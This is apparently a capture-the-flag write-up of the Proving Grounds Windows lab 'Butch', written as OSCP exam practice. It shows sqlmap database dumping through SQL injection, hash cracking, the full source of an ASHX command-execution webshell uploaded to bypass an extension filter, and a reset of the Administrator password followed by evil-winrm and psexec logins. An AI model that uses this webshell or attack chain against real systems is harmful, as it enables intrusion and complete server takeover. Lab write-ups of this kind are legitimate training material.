Introduction
This is my fourteenth writeup in the Proving Grounds series, which is part of my learning roadmap before taking the OSCP exam. This machine is called Butch, categorized as Intermediate, and runs on the Windows operating system.
Target IP:
192.168.*.63
Tools:
- Rustscan (https://github.com/RustScan/RustScan)
- AutoRecon (https://github.com/Tib3rius/AutoRecon)
- Webshell .ashx (https://github.com/yangbaopeng/ashx_webshel)
- Hashcat (https://github.com/hashcat/hashcat)
- SQLMap (https://github.com/sqlmapproject/sqlmap)
Reconnaissance:
The first and most important step in penetration testing is information gathering/reconnaissance. Here, I started with port scanning using Rustscan. For a more effective reconnaissance process, I also utilize AutoRecon, which runs if the results of the basic recon are not helpful.
Command: rustscan -a 192.168.244.63 -- -sV -oN nmap.txt
Press enter or click to view image in full size
The port scanning results showed several open ports, including:
- 21 (FTP): ftpd
- 25 (SMTP): ESMTP 10.0.17763.1
- 135 (MSRPC): RPC
- 139 (NETBIOS): netbios-ssn
- 445 (SMB): SMB
- 450 (HTTP): IIS httpd.10.0
- 5985 (WinRM): WinRM
Out of these, I attempted to access services anonymously or without credentials, such as FTP and SMB, but was unable to gain access.
Next, I tried accessing the HTTP service on port 450. Upon accessing it, I encountered a login page, as shown in the evidence below.
Press enter or click to view image in full size
Since the login credentials were unknown, I proceeded to perform directory fuzzing using dirsearch.
Command: python3 ~/Desktop/Tools/dirsearch/dirsearch.py -u http://192.168.244.63:450/ -e* -x 400,404 --output-file dirsearch.txt
Press enter or click to view image in full size
During fuzzing, I discovered a directory at /dev/. Accessing this path revealed a directory listing. However, it did not contain any sensitive information that could be leveraged for gaining access.
Press enter or click to view image in full size
I then shifted my focus to the login feature. Since common login forms are often vulnerable to SQL Injection, I tested the input by adding a single quote (') to trigger an error. As expected, the login form returned a SQL syntax error, indicating a potential SQL Injection vulnerability.
Press enter or click to view image in full size
I attempted several boolean-based SQL Injection payloads to bypass the login, but they were unsuccessful.
As the next step, I decided to dump the database. To speed up the data exfiltration process, I used SQLmap.
Dump Database Name
Command: sqlmap -r login.txt — dbms=mssql — dbs — technique=t — risk 3 — level 5
Press enter or click to view image in full size
The database dump revealed four databases, even though the initial enumeration with SQLmap indicated that there should be five databases. This suggests that one database was not successfully dumped.
I decided to start by dumping the master database to look for any credentials.
Dump Credentials from master.sys.sql_logins
Command: sqlmap -r login.txt — dbms=mssql -D master -T sys.sql_logins — dump — technique=t — risk 3 — level 5
Press enter or click to view image in full size
From the dump results, I didn’t find any password_hash or credential data. However, I did discover that the user butch had a default_database_name set to "butch", which suggests that the missing fifth database might be named butch.
With the information gathered earlier, I was able to dump the previously missing database — butch.
Dump Database “butch”
Command: sqlmap -r login.txt — dbms=mssql -D butch — tables — technique=t — risk 3 — level 5
Press enter or click to view image in full size
Dump Table “users” from database “butch”
Command: sqlmap -r login.txt — dbms=mssql -D butch -T users — dump — technique=t — risk 3 — level 5
Press enter or click to view image in full size
Inside this database, I found a password hash belonging to the user butch. After identifying the hash format, it appeared to be SHA-256.
I then attempted to crack the hash using Hashcat with the rockyou.txt wordlist.
Command: hashcat.exe -m 1400 hash.txt “D:\Wordlists\rockyou.txt”
Press enter or click to view image in full size
The cracking process was successful, revealing the plaintext password:awesomedude .
Initial Access:
Using the credentials obtained earlier — butch:awesomedude — I successfully logged in to the web application.
Press enter or click to view image in full size
The application included a file upload feature, and since it seemed to function as a repository, I first tested it by uploading a simple TXT file.
The TXT file uploaded successfully, but the storage directory was not immediately apparent. I then tried to directly access the file at: http://192.168.244.63:450/tes.txt —and it worked!
Press enter or click to view image in full size
With the file storage location confirmed, the next step was to upload a web shell to gain remote access.
I attempted to upload webshell files with extensions .aspx and .asp, but both failed — the server responded with "Invalid file format".
To bypass the upload restriction, I tried using an alternative extension: .ashx.
Below is the content of the ASHX webshell, sourced from: https://github.com/yangbaopeng/ashx_webshell
<% @ webhandler language="C#" class="AverageHandler" %>
using System;
using System.Web;
using System.Diagnostics;
using System.IO;
public class AverageHandler : IHttpHandler
{
/* .Net requires this to be implemented */
public bool IsReusable
{
get { return true; }
}
/* main executing code */
public void ProcessRequest(HttpContext ctx)
{
Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);
string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>");
ctx.Response.Write("<hr>");
ctx.Response.Write("<pre>");
/* command execution and output retrieval */
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = "/c "+command;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
Process p = Process.Start(psi);
StreamReader stmrdr = p.StandardOutput;
string s = stmrdr.ReadToEnd();
stmrdr.Close();
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));
ctx.Response.Write("</pre>");
ctx.Response.Write("<hr>");
ctx.Response.Write("By http://www.twitter.com/Hypn'>@Hypn, for educational purposes only.");
}
}
I uploaded the ASHX webshell, and it was successfully accepted!
I then accessed it via: http://192.168.244.63:450/shell.ashx —and the webshell was fully functional.
Press enter or click to view image in full size
Privilege Escalation:
Interestingly, privilege escalation was not necessary, as the webshell was already running under the NT AUTHORITY\SYSTEM user.
However, there were some limitations — the shell was unstable and couldn’t reliably execute actions such as running .exe files for a reverse shell or performing more complex tasks.
To obtain a stable interactive shell, I took advantage of the NT AUTHORITY\SYSTEM privileges to change the password for the built-in Administrator account.
Command: net user administrator P@ssw0rd!
Press enter or click to view image in full size
Once the password was updated, I was able to gain full access by using tools like Evil-WinRM or Impacket’s psexec.py, both of which provided a proper interactive shell with full administrative privileges.
Evil-WinRM
Command: evil-winrm -i 192.168.244.63 -u ‘administrator’ -p ‘P@ssw0rd!’
Press enter or click to view image in full size
Impacket PsExec
Command: impacket-psexec Administrator:’P@ssw0rd!’@192.168.244.63
Post Exploitation:
Read local.txt: e6c3ad743b48e649300a2393316e80da
Read proof.txt: d57bb84e4ef2ca0b0f6211ca6c9040bc
Closing Remarks:
Thank you for reading my writeup. I hope it is helpful to all of you. I apologize for any mistakes in my writing. I appreciate any feedback or suggestions to help me improve in the future.